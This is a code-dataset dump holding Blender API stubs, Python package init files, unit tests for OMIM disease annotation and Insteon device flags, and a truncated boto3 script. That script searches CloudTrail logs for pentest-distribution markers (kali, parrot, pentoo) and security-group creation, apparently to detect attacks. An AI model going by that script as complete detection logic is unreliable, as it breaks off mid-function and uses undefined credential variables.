hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
98bf1159db87fedc4cd4ab55e0d1a51dbb55d7e4
| 4,667
|
py
|
Python
|
premade_modules/2.78/2.78c/bpy/ops/constraint.py
|
echantry/fake-bpy-module
|
004cdf198841e639b7d9a4c4db95ca1c0d3aa2c7
|
[
"MIT"
] | null | null | null |
premade_modules/2.78/2.78c/bpy/ops/constraint.py
|
echantry/fake-bpy-module
|
004cdf198841e639b7d9a4c4db95ca1c0d3aa2c7
|
[
"MIT"
] | null | null | null |
premade_modules/2.78/2.78c/bpy/ops/constraint.py
|
echantry/fake-bpy-module
|
004cdf198841e639b7d9a4c4db95ca1c0d3aa2c7
|
[
"MIT"
] | null | null | null |
def childof_clear_inverse(constraint="", owner='OBJECT'):
'''Clear inverse correction for ChildOf constraint
:param constraint: Constraint, Name of the constraint to edit
:type constraint: string, (optional, never None)
:param owner: Owner, The owner of this constraintOBJECT Object, Edit a constraint on the active object.BONE Bone, Edit a constraint on the active bone.
:type owner: enum in ['OBJECT', 'BONE'], (optional)
'''
pass
def childof_set_inverse(constraint="", owner='OBJECT'):
'''Set inverse correction for ChildOf constraint
:param constraint: Constraint, Name of the constraint to edit
:type constraint: string, (optional, never None)
:param owner: Owner, The owner of this constraintOBJECT Object, Edit a constraint on the active object.BONE Bone, Edit a constraint on the active bone.
:type owner: enum in ['OBJECT', 'BONE'], (optional)
'''
pass
def delete():
'''Remove constraint from constraint stack
'''
pass
def followpath_path_animate(constraint="",
owner='OBJECT',
frame_start=1,
length=100):
'''Add default animation for path used by constraint if it isn’t animated already
:param constraint: Constraint, Name of the constraint to edit
:type constraint: string, (optional, never None)
:param owner: Owner, The owner of this constraintOBJECT Object, Edit a constraint on the active object.BONE Bone, Edit a constraint on the active bone.
:type owner: enum in ['OBJECT', 'BONE'], (optional)
:param frame_start: Start Frame, First frame of path animation
:type frame_start: int in [-500000, 500000], (optional)
:param length: Length, Number of frames that path animation should take
:type length: int in [0, 500000], (optional)
'''
pass
def limitdistance_reset(constraint="", owner='OBJECT'):
'''Reset limiting distance for Limit Distance Constraint
:param constraint: Constraint, Name of the constraint to edit
:type constraint: string, (optional, never None)
:param owner: Owner, The owner of this constraintOBJECT Object, Edit a constraint on the active object.BONE Bone, Edit a constraint on the active bone.
:type owner: enum in ['OBJECT', 'BONE'], (optional)
'''
pass
def move_down(constraint="", owner='OBJECT'):
'''Move constraint down in constraint stack
:param constraint: Constraint, Name of the constraint to edit
:type constraint: string, (optional, never None)
:param owner: Owner, The owner of this constraintOBJECT Object, Edit a constraint on the active object.BONE Bone, Edit a constraint on the active bone.
:type owner: enum in ['OBJECT', 'BONE'], (optional)
'''
pass
def move_up(constraint="", owner='OBJECT'):
'''Move constraint up in constraint stack
:param constraint: Constraint, Name of the constraint to edit
:type constraint: string, (optional, never None)
:param owner: Owner, The owner of this constraintOBJECT Object, Edit a constraint on the active object.BONE Bone, Edit a constraint on the active bone.
:type owner: enum in ['OBJECT', 'BONE'], (optional)
'''
pass
def objectsolver_clear_inverse(constraint="", owner='OBJECT'):
'''Clear inverse correction for ObjectSolver constraint
:param constraint: Constraint, Name of the constraint to edit
:type constraint: string, (optional, never None)
:param owner: Owner, The owner of this constraintOBJECT Object, Edit a constraint on the active object.BONE Bone, Edit a constraint on the active bone.
:type owner: enum in ['OBJECT', 'BONE'], (optional)
'''
pass
def objectsolver_set_inverse(constraint="", owner='OBJECT'):
'''Set inverse correction for ObjectSolver constraint
:param constraint: Constraint, Name of the constraint to edit
:type constraint: string, (optional, never None)
:param owner: Owner, The owner of this constraintOBJECT Object, Edit a constraint on the active object.BONE Bone, Edit a constraint on the active bone.
:type owner: enum in ['OBJECT', 'BONE'], (optional)
'''
pass
def stretchto_reset(constraint="", owner='OBJECT'):
'''Reset original length of bone for Stretch To Constraint
:param constraint: Constraint, Name of the constraint to edit
:type constraint: string, (optional, never None)
:param owner: Owner, The owner of this constraintOBJECT Object, Edit a constraint on the active object.BONE Bone, Edit a constraint on the active bone.
:type owner: enum in ['OBJECT', 'BONE'], (optional)
'''
pass
| 38.254098
| 156
| 0.692736
| 606
| 4,667
| 5.306931
| 0.122112
| 0.027985
| 0.083955
| 0.095149
| 0.852612
| 0.811567
| 0.811567
| 0.811567
| 0.811567
| 0.766791
| 0
| 0.006274
| 0.214485
| 4,667
| 121
| 157
| 38.570248
| 0.870977
| 0.776087
| 0
| 0.434783
| 0
| 0
| 0.068441
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.434783
| false
| 0.434783
| 0
| 0
| 0.434783
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
98df26c8a341d2f25f9de65d252594a3e8e861f0
| 177
|
py
|
Python
|
eagerx_interbotix/solid/real/__init__.py
|
eager-dev/eagerx_interbotix
|
963ded1f69f6caae2d8f27a9fa53e734e683dd31
|
[
"Apache-2.0"
] | null | null | null |
eagerx_interbotix/solid/real/__init__.py
|
eager-dev/eagerx_interbotix
|
963ded1f69f6caae2d8f27a9fa53e734e683dd31
|
[
"Apache-2.0"
] | 1
|
2022-03-29T14:40:56.000Z
|
2022-03-29T14:40:56.000Z
|
eagerx_interbotix/solid/real/__init__.py
|
eager-dev/eagerx_interbotix
|
963ded1f69f6caae2d8f27a9fa53e734e683dd31
|
[
"Apache-2.0"
] | null | null | null |
import eagerx_interbotix.solid.real.enginenodes # noqa # pylint: disable=unused-import
import eagerx_interbotix.solid.real.enginestates # noqa # pylint: disable=unused-import
| 59
| 88
| 0.819209
| 22
| 177
| 6.5
| 0.5
| 0.167832
| 0.307692
| 0.377622
| 0.839161
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.090395
| 177
| 2
| 89
| 88.5
| 0.888199
| 0.40113
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
98ee5430de44de38dd7a289e3a07554a21c97c12
| 40
|
py
|
Python
|
mxnet/src/autogluon/mxnet/__init__.py
|
RuohanW/autogluon
|
fa349db5e75a18cd3af7d9d3f1064eb34e92aca1
|
[
"Apache-2.0"
] | 1
|
2020-03-20T08:01:35.000Z
|
2020-03-20T08:01:35.000Z
|
mxnet/src/autogluon/mxnet/__init__.py
|
RuohanW/autogluon
|
fa349db5e75a18cd3af7d9d3f1064eb34e92aca1
|
[
"Apache-2.0"
] | null | null | null |
mxnet/src/autogluon/mxnet/__init__.py
|
RuohanW/autogluon
|
fa349db5e75a18cd3af7d9d3f1064eb34e92aca1
|
[
"Apache-2.0"
] | 2
|
2021-02-13T04:41:33.000Z
|
2021-07-10T07:14:59.000Z
|
from .task import *
from .task import *
| 13.333333
| 19
| 0.7
| 6
| 40
| 4.666667
| 0.5
| 0.571429
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.2
| 40
| 2
| 20
| 20
| 0.875
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 8
|
c74e2181441a6ba25684d617349eefa1fc536929
| 10,953
|
py
|
Python
|
tests/test_omim_annotation.py
|
Centogene/pyhpo
|
2f1ea4ee80a9569f9ba0492bec8cfb91a5329606
|
[
"MIT"
] | 9
|
2021-02-16T18:24:29.000Z
|
2022-02-09T19:01:52.000Z
|
tests/test_omim_annotation.py
|
Centogene/pyhpo
|
2f1ea4ee80a9569f9ba0492bec8cfb91a5329606
|
[
"MIT"
] | 1
|
2021-08-09T12:54:30.000Z
|
2021-08-11T07:51:37.000Z
|
tests/test_omim_annotation.py
|
Centogene/pyhpo
|
2f1ea4ee80a9569f9ba0492bec8cfb91a5329606
|
[
"MIT"
] | 1
|
2022-02-14T14:19:41.000Z
|
2022-02-14T14:19:41.000Z
|
import unittest
from pyhpo.annotations import Omim
from pyhpo.parser.diseases import all_omim_diseases, add_omim_to_term, add_negative_omim_to_term
from pyhpo.parser.diseases import _add_omim_to_ontology
from tests.mockontology import make_ontology, make_omim
class OmimTests(unittest.TestCase):
def setUp(self):
Omim.clear()
def tearDown(self):
Omim.clear()
def test_omim_disease_building(self):
a = Omim(diseaseid=1, name='Gaucher type I')
self.assertEqual(
a.name,
'Gaucher type I'
)
self.assertEqual(
a.id,
1
)
self.assertEqual(
a.hpo,
set()
)
def test_singleton_handling(self):
d1a = Omim(diseaseid=1, name='Gaucher')
# ID present, will be used
d1b = Omim(diseaseid=1, name='Fabry')
# No name present, ID will be used as well
d1c = Omim(diseaseid=1, name=None)
# New ID, new Name => New Disease
d2a = Omim(diseaseid=2, name='Fabry')
# ID present, Matching by ID
d2b = Omim(diseaseid=2, name='Gaucher')
# ID present, Matching by ID
d2c = Omim(diseaseid=2, name=None)
# New ID but existing name => New disease
d3a = Omim(diseaseid=3, name='Gaucher')
self.assertIs(d1a, d1b)
self.assertIs(d1a, d1c)
self.assertIsNot(d1a, d2a)
self.assertIs(d2a, d2b)
self.assertIs(d2a, d2c)
self.assertIsNot(d1a, d3a)
self.assertIsNot(d2a, d3a)
def test_indexing(self):
def subindex_length(x):
return (
len(x.keys()),
len(x._indicies.keys()),
)
self.assertEqual(
subindex_length(Omim),
(0, 0)
)
_ = Omim(diseaseid=1, name='Gaucher')
self.assertEqual(
subindex_length(Omim),
(1, 1)
)
_ = Omim(diseaseid=2, name='Fabry')
self.assertEqual(
subindex_length(Omim),
(2, 2)
)
Omim.clear()
self.assertEqual(
subindex_length(Omim),
(0, 0)
)
def test_get_omim(self):
d1 = Omim(diseaseid=1, name='Gaucher')
d2 = Omim(diseaseid=2, name='Fabry')
self.assertEqual(Omim.get(1), d1)
self.assertEqual(Omim.get(2), d2)
self.assertEqual(Omim.get('1'), d1)
self.assertRaises(
ValueError,
lambda: Omim.get('Fabry')
)
self.assertRaises(
KeyError,
lambda: Omim.get(12)
)
def test_json(self):
g = Omim(diseaseid=1, name='Foo')
self.assertEqual(
g.toJSON(),
{'id': 1, 'name': 'Foo'}
)
self.assertEqual(
g.toJSON(verbose=True),
{'id': 1, 'name': 'Foo', 'hpo': set()}
)
def test_equality(self):
g = Omim(diseaseid=1, name='Foo')
self.assertEqual(g, 1)
self.assertEqual(g, 'Foo')
def test_string_representation(self):
d = Omim(diseaseid=1, name='Foo')
self.assertEqual(str(d), 'Foo')
class TestOmimAnnotationParsing(unittest.TestCase):
def setUp(self):
Omim.clear()
self.ontology = make_ontology()
self.omim_diseases = make_omim(5)
def tearDown(self):
Omim.clear()
def test_gene_global_singleton(self):
assert len(all_omim_diseases()) == 5
def test_annotating_hpo_terms(self):
assert self.ontology[1].omim_diseases == set()
assert self.ontology[11].omim_diseases == set()
assert self.ontology[21].omim_diseases == set()
assert self.ontology[31].omim_diseases == set()
assert self.ontology[12].omim_diseases == set()
assert self.ontology[41].omim_diseases == set()
assert self.ontology[13].omim_diseases == set()
add_omim_to_term(self.omim_diseases[0], self.ontology[21])
assert self.ontology[1].omim_diseases == set([self.omim_diseases[0]])
assert self.ontology[11].omim_diseases == set([self.omim_diseases[0]])
assert self.ontology[21].omim_diseases == set([self.omim_diseases[0]])
assert self.ontology[31].omim_diseases == set()
assert self.ontology[12].omim_diseases == set()
assert self.ontology[41].omim_diseases == set()
assert self.ontology[13].omim_diseases == set()
assert self.ontology[1].omim_excluded_diseases == set()
assert self.ontology[11].omim_excluded_diseases == set()
assert self.ontology[21].omim_excluded_diseases == set()
assert self.ontology[31].omim_excluded_diseases == set()
assert self.ontology[12].omim_excluded_diseases == set()
assert self.ontology[41].omim_excluded_diseases == set()
assert self.ontology[13].omim_excluded_diseases == set()
def test_annotating_hpo_terms_multiple_parents(self):
add_omim_to_term(self.omim_diseases[0], self.ontology[31])
assert self.ontology[1].omim_diseases == set([self.omim_diseases[0]])
assert self.ontology[11].omim_diseases == set([self.omim_diseases[0]])
assert self.ontology[21].omim_diseases == set([self.omim_diseases[0]])
assert self.ontology[31].omim_diseases == set([self.omim_diseases[0]])
assert self.ontology[12].omim_diseases == set([self.omim_diseases[0]])
assert self.ontology[41].omim_diseases == set()
assert self.ontology[13].omim_diseases == set()
def test_negative_annotation(self):
add_negative_omim_to_term(self.omim_diseases[0], self.ontology[21])
assert self.ontology[1].omim_diseases == set()
assert self.ontology[11].omim_diseases == set()
assert self.ontology[21].omim_diseases == set()
assert self.ontology[31].omim_diseases == set()
assert self.ontology[12].omim_diseases == set()
assert self.ontology[41].omim_diseases == set()
assert self.ontology[13].omim_diseases == set()
assert self.ontology[1].omim_excluded_diseases == set()
assert self.ontology[11].omim_excluded_diseases == set()
assert self.ontology[21].omim_excluded_diseases == set([
self.omim_diseases[0]
])
assert self.ontology[31].omim_excluded_diseases == set([
self.omim_diseases[0]
])
assert self.ontology[12].omim_excluded_diseases == set()
assert self.ontology[41].omim_excluded_diseases == set([
self.omim_diseases[0]
])
assert self.ontology[13].omim_excluded_diseases == set()
def test_negative_annotation_all(self):
add_negative_omim_to_term(self.omim_diseases[0], self.ontology[1])
assert self.ontology[1].omim_diseases == set()
assert self.ontology[11].omim_diseases == set()
assert self.ontology[21].omim_diseases == set()
assert self.ontology[31].omim_diseases == set()
assert self.ontology[12].omim_diseases == set()
assert self.ontology[41].omim_diseases == set()
assert self.ontology[13].omim_diseases == set()
assert self.ontology[1].omim_excluded_diseases == set([
self.omim_diseases[0]
])
assert self.ontology[11].omim_excluded_diseases == set([
self.omim_diseases[0]
])
assert self.ontology[21].omim_excluded_diseases == set([
self.omim_diseases[0]
])
assert self.ontology[31].omim_excluded_diseases == set([
self.omim_diseases[0]
])
assert self.ontology[12].omim_excluded_diseases == set([
self.omim_diseases[0]
])
assert self.ontology[41].omim_excluded_diseases == set([
self.omim_diseases[0]
])
assert self.ontology[13].omim_excluded_diseases == set([
self.omim_diseases[0]
])
def test_annotating_hpo_terms_mutliple_omim_diseases(self):
add_omim_to_term(self.omim_diseases[0], self.ontology[31])
add_omim_to_term(self.omim_diseases[1], self.ontology[41])
assert self.ontology[1].omim_diseases == set([
self.omim_diseases[0],
self.omim_diseases[1]
])
assert self.ontology[11].omim_diseases == set([
self.omim_diseases[0],
self.omim_diseases[1]
])
assert self.ontology[21].omim_diseases == set([
self.omim_diseases[0],
self.omim_diseases[1]
])
assert self.ontology[31].omim_diseases == set([
self.omim_diseases[1],
self.omim_diseases[0]
])
assert self.ontology[12].omim_diseases == set([
self.omim_diseases[1],
self.omim_diseases[0]
])
assert self.ontology[41].omim_diseases == set([
self.omim_diseases[1]
])
assert self.ontology[13].omim_diseases == set()
def test_full_annotation(self):
self.omim_diseases[0].hpo.add(31)
self.omim_diseases[1].hpo.add(41)
self.omim_diseases[2].negative_hpo.add(12)
_add_omim_to_ontology(self.ontology)
assert self.ontology[1].omim_diseases == set([
self.omim_diseases[0],
self.omim_diseases[1]
])
assert self.ontology[11].omim_diseases == set([
self.omim_diseases[0],
self.omim_diseases[1]
])
assert self.ontology[21].omim_diseases == set([
self.omim_diseases[0],
self.omim_diseases[1]
])
assert self.ontology[31].omim_diseases == set([
self.omim_diseases[1],
self.omim_diseases[0]
])
assert self.ontology[12].omim_diseases == set([
self.omim_diseases[1],
self.omim_diseases[0]
])
assert self.ontology[41].omim_diseases == set([
self.omim_diseases[1]
])
assert self.ontology[13].omim_diseases == set()
assert self.omim_diseases[0].hpo == set([31])
assert self.omim_diseases[1].hpo == set([41])
assert self.ontology[1].omim_excluded_diseases == set()
assert self.ontology[11].omim_excluded_diseases == set()
assert self.ontology[21].omim_excluded_diseases == set()
assert self.ontology[31].omim_excluded_diseases == set([
self.omim_diseases[2]
])
assert self.ontology[12].omim_excluded_diseases == set([
self.omim_diseases[2]
])
assert self.ontology[41].omim_excluded_diseases == set([
self.omim_diseases[2]
])
assert self.ontology[13].omim_excluded_diseases == set()
assert self.omim_diseases[0].negative_hpo == set()
assert self.omim_diseases[1].negative_hpo == set()
assert self.omim_diseases[2].negative_hpo == set([12])
| 34.882166
| 96
| 0.597188
| 1,318
| 10,953
| 4.770106
| 0.084977
| 0.209957
| 0.220455
| 0.130269
| 0.813743
| 0.745825
| 0.7331
| 0.637983
| 0.631303
| 0.627485
| 0
| 0.035732
| 0.27691
| 10,953
| 313
| 97
| 34.99361
| 0.758081
| 0.017438
| 0
| 0.610687
| 0
| 0
| 0.011623
| 0
| 0
| 0
| 0
| 0
| 0.408397
| 1
| 0.072519
| false
| 0
| 0.019084
| 0.003817
| 0.103053
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c75914b8f7ee4d5d2dac7a47befbeb8de997d0fd
| 4,795
|
py
|
Python
|
tests/test_flags.py
|
pyinsteon/pyinsteon
|
1ecc2ed3c2fc4bc333d76d9238ffdcf44e7efdd5
|
[
"MIT"
] | 15
|
2020-07-08T05:29:14.000Z
|
2022-03-24T18:56:26.000Z
|
tests/test_flags.py
|
bshep/pyinsteon
|
7025cb6f3beb42f43c6a13799eff0a6b77e38e69
|
[
"MIT"
] | 107
|
2019-06-03T09:23:02.000Z
|
2022-03-31T23:12:38.000Z
|
tests/test_flags.py
|
teharris1/pyinsteon
|
9476473676d714a62f0cfcc5124f7cd7e96de98b
|
[
"MIT"
] | 16
|
2019-01-24T01:09:49.000Z
|
2022-02-24T03:48:42.000Z
|
"""Test operating flags and extended flags features."""
import unittest
from pyinsteon.extended_property import ExtendedProperty
from pyinsteon.operating_flag import OperatingFlag
from tests.utils import randint, random_address
class TestFlags(unittest.TestCase):
"""Test the flags classes."""
def test_basic_bool_flag(self):
"""Test a bool writable flag."""
ex_prop = ExtendedProperty(random_address(), "ext_prop", bool, False, False)
op_flag = OperatingFlag(random_address(), "op_flag", bool, False, False)
for flag in [ex_prop, op_flag]:
assert not flag.is_loaded
for orig in [True, False]:
mod = not orig
flag.load(orig)
assert flag.is_loaded
assert flag.value == orig
assert not flag.is_dirty
flag.new_value = mod
assert flag.value == orig
assert flag.new_value == mod
assert flag.is_dirty
assert not flag.is_read_only
assert not flag.is_reversed
def test_basic_int_flag(self):
"""Test an int writable flag."""
ex_prop = ExtendedProperty(random_address(), "ext_prop", int, False, False)
op_flag = OperatingFlag(random_address(), "op_flag", int, False, False)
for flag in [ex_prop, op_flag]:
orig = randint(0, 100)
mod = randint(101, 255)
assert not flag.is_loaded
flag.load(orig)
assert flag.is_loaded
assert flag.value == orig
assert not flag.is_dirty
flag.new_value = mod
assert flag.value == orig
assert flag.new_value == mod
assert flag.is_dirty
flag.new_value = None
assert not flag.is_dirty
assert not flag.is_reversed
assert not flag.is_read_only
def test_reverse_bool_flag(self):
"""Test a reversed bool writable flag."""
ex_prop = ExtendedProperty(random_address(), "ext_prop", bool, True, False)
op_flag = OperatingFlag(random_address(), "op_flag", bool, True, False)
for flag in [ex_prop, op_flag]:
assert not flag.is_loaded
for orig in [True, False]:
reverse = not orig
flag.load(orig)
assert flag.is_loaded
assert flag.value == reverse
assert not flag.is_dirty
flag.new_value = reverse
assert flag.value == reverse
assert flag.new_value == orig
assert flag.is_dirty
assert flag.is_reversed
assert not flag.is_read_only
def test_read_only_flag(self):
"""Test an int read only flag."""
ex_prop = ExtendedProperty(random_address(), "ext_prop", int, False, True)
op_flag = OperatingFlag(random_address(), "op_flag", int, False, True)
for flag in [ex_prop, op_flag]:
orig = randint(0, 100)
mod = randint(101, 255)
assert not flag.is_loaded
flag.load(orig)
assert flag.is_loaded
assert flag.value == orig
assert not flag.is_dirty
flag.new_value = mod
assert flag.value == orig
assert flag.new_value is None
assert not flag.is_dirty
flag.new_value = None
assert not flag.is_dirty
assert not flag.is_reversed
assert flag.is_read_only
def test_is_dirty(self):
"""Test is_dirty property."""
ex_prop = ExtendedProperty(random_address(), "ext_prop", int, False, False)
op_flag = OperatingFlag(random_address(), "op_flag", int, False, False)
for flag in [ex_prop, op_flag]:
# load(orig) -> not is_dirty
# new_value = mod -> is_dirty
# new_value = orig => not is_dirty
# new_value = None => not is_dirty
orig = randint(0, 100)
mod = randint(101, 255)
assert not flag.is_loaded
flag.load(orig)
assert flag.is_loaded
assert flag.value == orig
assert not flag.is_dirty
flag.new_value = mod
assert flag.value == orig
assert flag.new_value == mod
assert flag.is_dirty
flag.new_value = orig
assert flag.value == orig
assert flag.new_value is None
assert not flag.is_dirty
flag.new_value = mod
assert flag.is_dirty
flag.new_value = None
assert flag.value == orig
assert flag.new_value is None
assert not flag.is_dirty
| 31.966667
| 84
| 0.567258
| 586
| 4,795
| 4.438567
| 0.100683
| 0.076125
| 0.10496
| 0.121107
| 0.846982
| 0.793541
| 0.753941
| 0.748174
| 0.735871
| 0.675125
| 0
| 0.009702
| 0.355162
| 4,795
| 149
| 85
| 32.181208
| 0.831501
| 0.070282
| 0
| 0.77451
| 0
| 0
| 0.016972
| 0
| 0
| 0
| 0
| 0
| 0.509804
| 1
| 0.04902
| false
| 0
| 0.039216
| 0
| 0.098039
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
c77fbc8dc7231eb3aa51a151a65662e947d8e939
| 7,643
|
py
|
Python
|
test/myproject/map/python_function/aws-cloudwatchlogs-iam.py
|
d0r6y/CloudKloud
|
33747e208bd625a6c80bae0f87a0997181be4298
|
[
"MIT"
] | null | null | null |
test/myproject/map/python_function/aws-cloudwatchlogs-iam.py
|
d0r6y/CloudKloud
|
33747e208bd625a6c80bae0f87a0997181be4298
|
[
"MIT"
] | null | null | null |
test/myproject/map/python_function/aws-cloudwatchlogs-iam.py
|
d0r6y/CloudKloud
|
33747e208bd625a6c80bae0f87a0997181be4298
|
[
"MIT"
] | null | null | null |
import boto3
import json
#AWS_ACCESS_KEY_ID = "yourkey" # your key
#AWS_SECRET_ACCESS_KEY = "yourkey" # your key
#AWS_DEFAULT_REGION = "ap-northeast-2"
logs = boto3.client('logs',
aws_access_key_id=AWS_ACCESS_KEY_ID,
aws_secret_access_key=AWS_SECRET_ACCESS_KEY,
region_name=AWS_DEFAULT_REGION)
# 1. 특이한 리전에 인프라 생성 및 배포, API 호출
# 2. 침투 테스트 시스템에서 API 호출
def PentestSystems():
cnt = 0
output = []
next_token = ''
while True:
if next_token:
log = logs.filter_log_events(
logGroupName='all_region_cloudtrail',
filterPattern='?"-kali" ?"parrot - WebIdentityUser" ?pentoo',
nextToken=next_token
)
else:
log = logs.filter_log_events(
logGroupName='all_region_cloudtrail',
filterPattern='?"-kali" ?"parrot - WebIdentityUser" ?pentoo'
)
for i in log['events']:
if 'iam.amazonaws.com' in i.get('message'):
cnt += 1
result = {"timestamp": i['timestamp'], "message": i['message']}
output.append(result)
print(result)
print(cnt)
jsonoutput = json.dumps(output)
if log.get("nextToken"):
next_token = log["nextToken"]
else:
break
return jsonoutput
# 3. 네트워크 액세스 권한 변경(보안 그룹, 라우트, ACL)
def NetworkPermissions():
cnt = 0
output = []
next_token = ''
while True:
if next_token:
log = logs.filter_log_events(
logGroupName='all_region_cloudtrail',
filterPattern='CreateSecurityGroup',
nextToken=next_token
)
else:
log = logs.filter_log_events(
logGroupName='all_region_cloudtrail',
filterPattern='CreateSecurityGroup'
)
for i in log['events']:
if 'iam.amazonaws.com' in i.get('message'):
cnt += 1
result = {"timestamp": i['timestamp'], "message": i['message']}
output.append(result)
print(result)
print(cnt)
